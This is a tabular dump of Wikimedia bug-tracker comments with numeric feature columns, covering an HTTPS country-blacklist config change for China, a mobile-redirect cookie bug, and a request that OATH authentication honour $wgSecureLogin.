236690,wmgHTTPSBlacklistCountries changes for CN,Liangent: Situation is still as described in comment 8?,,,1385134766,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,1.0,Liangent: Situation is still as described in comment 8?
236686,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #7)
> Change 84781 merged by jenkins-bot:
> wmgHTTPSBlacklistCountries changes for CN
> 
> https://gerrit.wikimedia.org/r/84781

Is this correctly patched & deployed?

It seems zhwikibooks behaves correctly but wikidatawiki and commonswiki don't. It seems we should use 'wikipedia' instead of 'wiki' or it might be a suffix match.",,,1380458356,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,5.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,14.0,0.0,7.0,3.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,7.0,5.0,9.0,2.0,7.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7413793103448274,0.7586206896551724,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

Is this correctly patched & deployed?

It seems zhwikibooks behaves correctly but wikidatawiki and commonswiki don't. It seems we should use 'wikipedia' instead of 'wiki' or it might be a suffix match."
236682,wmgHTTPSBlacklistCountries changes for CN,"Change 84781 merged by jenkins-bot:
wmgHTTPSBlacklistCountries changes for CN

https://gerrit.wikimedia.org/r/84781",,,1379702455,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.466666666666667,1.0,"Change 84781 merged by jenkins-bot:
wmgHTTPSBlacklistCountries changes for CN

GERRIT_URL"
236677,wmgHTTPSBlacklistCountries changes for CN,"Change 84781 had a related patch set uploaded by Reedy:
wmgHTTPSBlacklistCountries changes for CN

https://gerrit.wikimedia.org/r/84781",,,1379529615,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.388888888888889,1.0,"Change 84781 had a related patch set uploaded by Reedy:
wmgHTTPSBlacklistCountries changes for CN

GERRIT_URL"
236671,wmgHTTPSBlacklistCountries changes for CN,"'wmgHTTPSBlacklistCountries' => array(
    'default' => array(
        'IR', // Iran
    ),
    '+wikipedia' => array(
        'IR', // Iran
    ),
),


^ I guess that's the patch...",,,1379529528,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.982142857142857,0.4642857142857143,"'wmgHTTPSBlacklistCountries' => array(
    'default' => array(
        'IR', // Iran
    ),
    '+wikipedia' => array(
        'IR', // Iran
    ),
),


^ I guess that's the patch..."
236663,wmgHTTPSBlacklistCountries changes for CN,Liangent: Willing to come up with a patch?,,,1379525113,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,30.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Liangent: Willing to come up with a patch?
236655,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #2)
> (In reply to comment #1)
> > (In reply to comment #0)
> > > It was reported by users that HTTPS block in China was only for Wikipedia
> > 
> > Any URL (if that question makes sense & does not create problems for
> > anybody)?
> 
> Hmm... it's even blocked in the other way for some other sites:
> 
> https://zh.greatfire.org/zh.wikisource.org (blocked)
> https://zh.greatfire.org/https/zh.wikisource.org (not blocked)

I guess I'd better provide English links:

https://en.greatfire.org/zh.wikisource.org (blocked)
https://en.greatfire.org/https/zh.wikisource.org (not blocked)",,,1378828628,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,4.0,20.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.43137254901960786,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I guess I'd better provide English links:

URL (blocked)
URL (not blocked)"
236649,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #1)
> (In reply to comment #0)
> > It was reported by users that HTTPS block in China was only for Wikipedia
> 
> Any URL (if that question makes sense & does not create problems for
> anybody)?

Hmm... it's even blocked in the other way for some other sites:

https://zh.greatfire.org/zh.wikisource.org (blocked)
https://zh.greatfire.org/https/zh.wikisource.org (not blocked)",,,1378828294,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,1,True,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,9.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.977777777777778,0.6,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Hmm... it's even blocked in the other way for some other sites:

URL (blocked)
URL (not blocked)"
236644,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #0)
> It was reported by users that HTTPS block in China was only for Wikipedia

Any URL (if that question makes sense & does not create problems for anybody)?",,,1378825089,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,1,True,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,4.0,7.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3214285714285716,0.9285714285714286,"(In reply to comment #0)
QUOTE

Any URL (if that question makes sense & does not create problems for anybody)?"
55667,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"Use a mobile web browser. I used ""User-Agent: Opera/9.80 (Android; Opera Mini/7.5.33361/30.3793; U; sv) Presto/2.8.119 Version/11.10"".

Steps to reproduce:

1: Delete all cookies.
2: Log in to Wikipedia. You should now see the mobile site as you are using a mobile web browser.
3: At the bottom of the page, click on the link to the desktop version.
4: Elsewhere on the Internet, find a link which points to Wikipedia's desktop HTTP edition, and click on the link. Alternatively, type in a URL yourself.

Actual result: The browser shows the mobile HTTPS edition of Wikipedia.
Expected result: The browser shows the desktop HTTPS edition of Wikipedia.

IMPORTANT: You must perform steps 2 and 3 in the order indicated above! If you perform them in the opposite order, then the result is different (due to bug 43771).

== Explanation ==

Steps 2-3 should give you two cookies:

Set-Cookie: enwikiforceHTTPS=true; expires=Mon, 30-Sep-2013 23:24:04 GMT; path=/; httponly
Set-Cookie: stopMobileRedirect=true; expires=Mon, 30-Sep-2013 23:15:06 GMT; path=/; domain=.wikipedia.org; secure

When you request the Wikipedia article (say, http://en.wikipedia.org/wiki/A), the following happens:

1. Browser sends ""GET /wiki/A HTTP/1.1"" to en.wikipedia.org. As the connection is insecure, the stopMobileRedirect=true cookie isn't sent, but enwikiforceHTTPS=true is sent:

Cookie: enwikiforceHTTPS=1

2. Server detects a mobile user agent, so you are redirected (302 Moved Temporarily) to http://en.m.wikipedia.org/wiki/A (still no HTTPS).

3. Browser sends ""GET /wiki/A HTTP/1.1"" en.m.wikipedia.org. As it is still insecure, stopMobileRedirect=true isn't sent:

Cookie: enwikiforceHTTPS=true; enwikiforceHTTPS=1

4. Server detects enwikiforceHTTPS=true and enwikiforceHTTPS=1 (no idea why the browser has two cookies with the same name) and you are redirected (302 Found) to https://en.m.wikipedia.org/wiki/A.

5. Browser switches on SSL and sends ""GET /wiki/A HTTP/1.1"". Now all cookies are sent, including stopMobileRedirect=true (private information removed):

Cookie: enwikiSession=REMOVED; centralauth_User=Stefan2; centralauth_Token=REMOVED; centralauth_Session=REMOVED; enwikiUserID=808814; enwikiUserName=Stefan2; enwikiforceHTTPS=true; enwikiforceHTTPS=1; stopMobileRedirect=true

6. You see the mobile website.

Problem: As the redirect to HTTPS happens after the redirect to the mobile site, the stopMobileRedirect=true cookie is sent too late and the server won't know that you wish to stay on the desktop website.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1378073400,1380302461.0,PHID-USER-zcvchmenkrawdr5233in,False,,False,PHID-TASK-4455hu3tjinek2ehrboa,task_description,declined,True,c2,3,False,False,True,0,True,0.3333333333333333,0.0,0.0,1.1666666666666667,0.5,4.833333333333333,0.5,0.0,0.0,0.16666666666666666,1.5,0.5,0.16666666666666666,0.0,0.0,0.16666666666666666,0.0,3.1666666666666665,5.833333333333333,0.0,0.5,0.5,0.0,0.0,0.3333333333333333,0.16666666666666666,0.0,0.16666666666666666,0.0,0.0,0.0,6.333333333333333,1.5,0.16666666666666666,0.16666666666666666,1.8333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.16666666666666666,0.5,1.8333333333333333,0.0,0.3333333333333333,0.0,0.0,0.16666666666666666,14.833333333333334,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.16666666666666666,0.16666666666666666,0.0,6.0,1.8333333333333333,14.666666666666666,0.6666666666666666,1.1666666666666667,6.833333333333333,0.0,0.0,0.16666666666666666,0.0,2.8333333333333335,0.16666666666666666,3.8333333333333335,0.0,2.6666666666666665,5.833333333333333,6.833333333333333,0.0,1.3333333333333333,0.0,2.6666666666666665,0.0,0.5,1.3333333333333333,0.3333333333333333,0.5,0.0,0.0,0.6666666666666666,4.114615253660197,0.6203609124957439,"Use a mobile web browser. I used ""User-Agent: Opera/9.80 (Android; Opera Mini/7.5.33361/30.3793; U; sv) Presto/2.8.119 Version/11.10"".

Steps to reproduce:

1: Delete all cookies.
2: Log in to Wikipedia. You should now see the mobile site as you are using a mobile web browser.
3: At the bottom of the page, click on the link to the desktop version.
4: Elsewhere on the Internet, find a link which points to Wikipedia's desktop HTTP edition, and click on the link. Alternatively, type in a URL yourself.

Actual result: The browser shows the mobile HTTPS edition of Wikipedia.
Expected result: The browser shows the desktop HTTPS edition of Wikipedia.

IMPORTANT: You must perform steps 2 and 3 in the order indicated above! If you perform them in the opposite order, then the result is different (due to bug 43771).

== Explanation ==

Steps 2-3 should give you two cookies:

Set-Cookie: enwikiforceHTTPS=true; expires=Mon, 30-Sep-2013 23:24:04 GMT; path=/; httponly
Set-Cookie: stopMobileRedirect=true; expires=Mon, 30-Sep-2013 23:15:06 GMT; path=/; domain=.wikipedia.org; secure

When you request the Wikipedia article (say, URL the following happens:

1. Browser sends ""GET /wiki/A HTTP/1.1"" to en.wikipedia.org. As the connection is insecure, the stopMobileRedirect=true cookie isn't sent, but enwikiforceHTTPS=true is sent:

Cookie: enwikiforceHTTPS=1

2. Server detects a mobile user agent, so you are redirected (302 Moved Temporarily) to URL (still no HTTPS).

3. Browser sends ""GET /wiki/A HTTP/1.1"" en.m.wikipedia.org. As it is still insecure, stopMobileRedirect=true isn't sent:

Cookie: enwikiforceHTTPS=true; enwikiforceHTTPS=1

4. Server detects enwikiforceHTTPS=true and enwikiforceHTTPS=1 (no idea why the browser has two cookies with the same name) and you are redirected (302 Found) to URL

5. Browser switches on SSL and sends ""GET /wiki/A HTTP/1.1"". Now all cookies are sent, including stopMobileRedirect=true (private information removed):

Cookie: enwikiSession=REMOVED; centralauth_User=Stefan2; centralauth_Token=REMOVED; centralauth_Session=REMOVED; enwikiUserID=808814; enwikiUserName=Stefan2; enwikiforceHTTPS=true; enwikiforceHTTPS=1; stopMobileRedirect=true

6. You see the mobile website.

Problem: As the redirect to HTTPS happens after the redirect to the mobile site, the stopMobileRedirect=true cookie is sent too late and the server won't know that you wish to stay on the desktop website.

--------------------------
**Version**: unspecified
**Severity**: minor"
256619,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,I'm marking this resolved as 'worksforme'. We are currently discussing the possibility of reaching out to Google about how they are linking search results for mobile devices.,,,1380302461,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,6.0,3.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,19.0,3.0,0.0,6.0,0.0,9.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,4.625,0.90625,I'm marking this resolved as 'worksforme'. We are currently discussing the possibility of reaching out to Google about how they are linking search results for mobile devices.
256615,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"**mgrover** wrote:

I've tried several different ways as well and can't get it to happen either.",,,1380225162,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c2,3,False,,,4,True,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,16.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.28,0.88,"**mgrover** wrote:

I've tried several different ways as well and can't get it to happen either."
256611,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"I've not really been able to reproduce this bug. I thought I had reproduced it by selecting an enwiki link from Google (for step 4 of the OP) - however it appears that Google is doing some kind of device detection and is turning the href for wikipedia links into en.m.wikipedia.org. By design, you can still hit the .m version of the site even if you have the stopMobileRedirect cookie - but only if you hit it explicitly. The stopMobileRedirect cookie only prevents automatic redirection.

I tried again by just typing in ""en.wikipedia.org"" into my URL bar for step 4 - I got the expected results (https, desktop site).

Stefan2, were the links you were clicking from 'elsewhere on the internet' exclusively from Google search results? Can you try again and double check the href of the links to make sure they are not pointing directly to the .m?",,,1380155649,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c2,3,False,,,4,True,0.5,0.0,0.0,0.0,1.0,3.5,1.0,0.0,0.0,1.0,1.0,1.5,0.0,1.0,0.0,3.5,0.0,8.0,12.5,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.5,1.5,0.0,2.5,0.5,0.0,1.0,0.0,0.0,0.5,1.0,1.5,0.0,0.5,0.0,0.0,0.5,13.5,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,7.0,3.5,7.5,1.5,1.5,8.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,8.0,12.5,5.5,1.0,2.5,0.0,8.0,0.0,0.0,0.5,0.0,3.5,0.0,0.0,0.0,4.129411764705882,0.7705882352941176,"I've not really been able to reproduce this bug. I thought I had reproduced it by selecting an enwiki link from Google (for step 4 of the OP) - however it appears that Google is doing some kind of device detection and is turning the href for wikipedia links into en.m.wikipedia.org. By design, you can still hit the .m version of the site even if you have the stopMobileRedirect cookie - but only if you hit it explicitly. The stopMobileRedirect cookie only prevents automatic redirection.

I tried again by just typing in ""en.wikipedia.org"" into my URL bar for step 4 - I got the expected results (https, desktop site).

Stefan2, were the links you were clicking from 'elsewhere on the internet' exclusively from Google search results? Can you try again and double check the href of the links to make sure they are not pointing directly to the .m?"
256606,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"Without much digging, I suspect that Stefan2 is correct. If that's the case, we'll need to involve operations to implement a solution. We should prioritize this bug during standup on Monday. Jon, I've updated the card in Mingle so we can deal with it then.",,,1379716150,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c2,3,False,,,3,True,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,9.0,0.0,2.0,18.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,16.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,11.0,18.0,7.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8545454545454545,0.8181818181818182,"Without much digging, I suspect that Stefan2 is correct. If that's the case, we'll need to involve operations to implement a solution. We should prioritize this bug during standup on Monday. Jon, I've updated the card in Mingle so we can deal with it then."
256601,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"It sounds like the cookie to force desktop mode is being set on https and not on http. Thus going to http will still redirect you to mobile and not desktop.

Arthur any thoughts on this?",,,1378400457,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c2,3,False,,,1,True,2.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,18.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,8.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,18.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8,0.775,"It sounds like the cookie to force desktop mode is being set on https and not on http. Thus going to http will still redirect you to mobile and not desktop.

Arthur any thoughts on this?"
55197,OATH should use $wgSecureLogin,"The TOTP RFC recommends all communications (especially those involving the secret key) be over TLS. I recommend using $wgSecureLogin as an indicator of whether communications should be forced over HTTPS.

--------------------------
**Version**: master
**Severity**: enhancement",Low,25.0,1377142200,,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_description,open,True,c2,2,False,False,,-1,True,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,15.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,9.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.6415094339622645,0.7547169811320755,"The TOTP RFC recommends all communications (especially those involving the secret key) be over TLS. I recommend using $wgSecureLogin as an indicator of whether communications should be forced over HTTPS.

--------------------------
**Version**: master
**Severity**: enhancement"
1505456,OATH should use $wgSecureLogin,@Parent5446: I am resetting the assignee of this task because there has not been progress lately (please correct me if I am wrong!). Resetting the assignee avoids the impression that somebody is already working on this task. It also allows others to potentially work towards fixing this task. Please claim this task again when you plan to work on it (via {nav name=Add Action... > Assign / Claim} in the dropdown menu) - it would be welcome. Thanks for your understanding!,,,1589718679,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,True,,,350,True,0.0,1.0,0.0,0.0,1.0,3.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,3.0,1.0,7.0,12.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,3.0,3.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,4.0,5.0,11.0,4.0,0.0,8.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,1.0,4.041237113402062,0.7731958762886598,SCREEN_NAME: I am resetting the assignee of this task because there has not been progress lately (please correct me if I am wrong!). Resetting the assignee avoids the impression that somebody is already working on this task. It also allows others to potentially work towards fixing this task. Please claim this task again when you plan to work on it (via {nav name=Add Action... > Assign / Claim} in the dropdown menu) - it would be welcome. Thanks for your understanding!
1331492,OATH should use $wgSecureLogin,"Change 213770 abandoned by Reedy:
Make OATHAuth respect $wgSecureLogin

[[https://gerrit.wikimedia.org/r/213770]]",,,1565194938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,False,,,310,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.388888888888889,0.8888888888888888,"Change 213770 abandoned by Reedy:
Make OATHAuth respect $wgSecureLogin

[[GERRIT_URL]]"
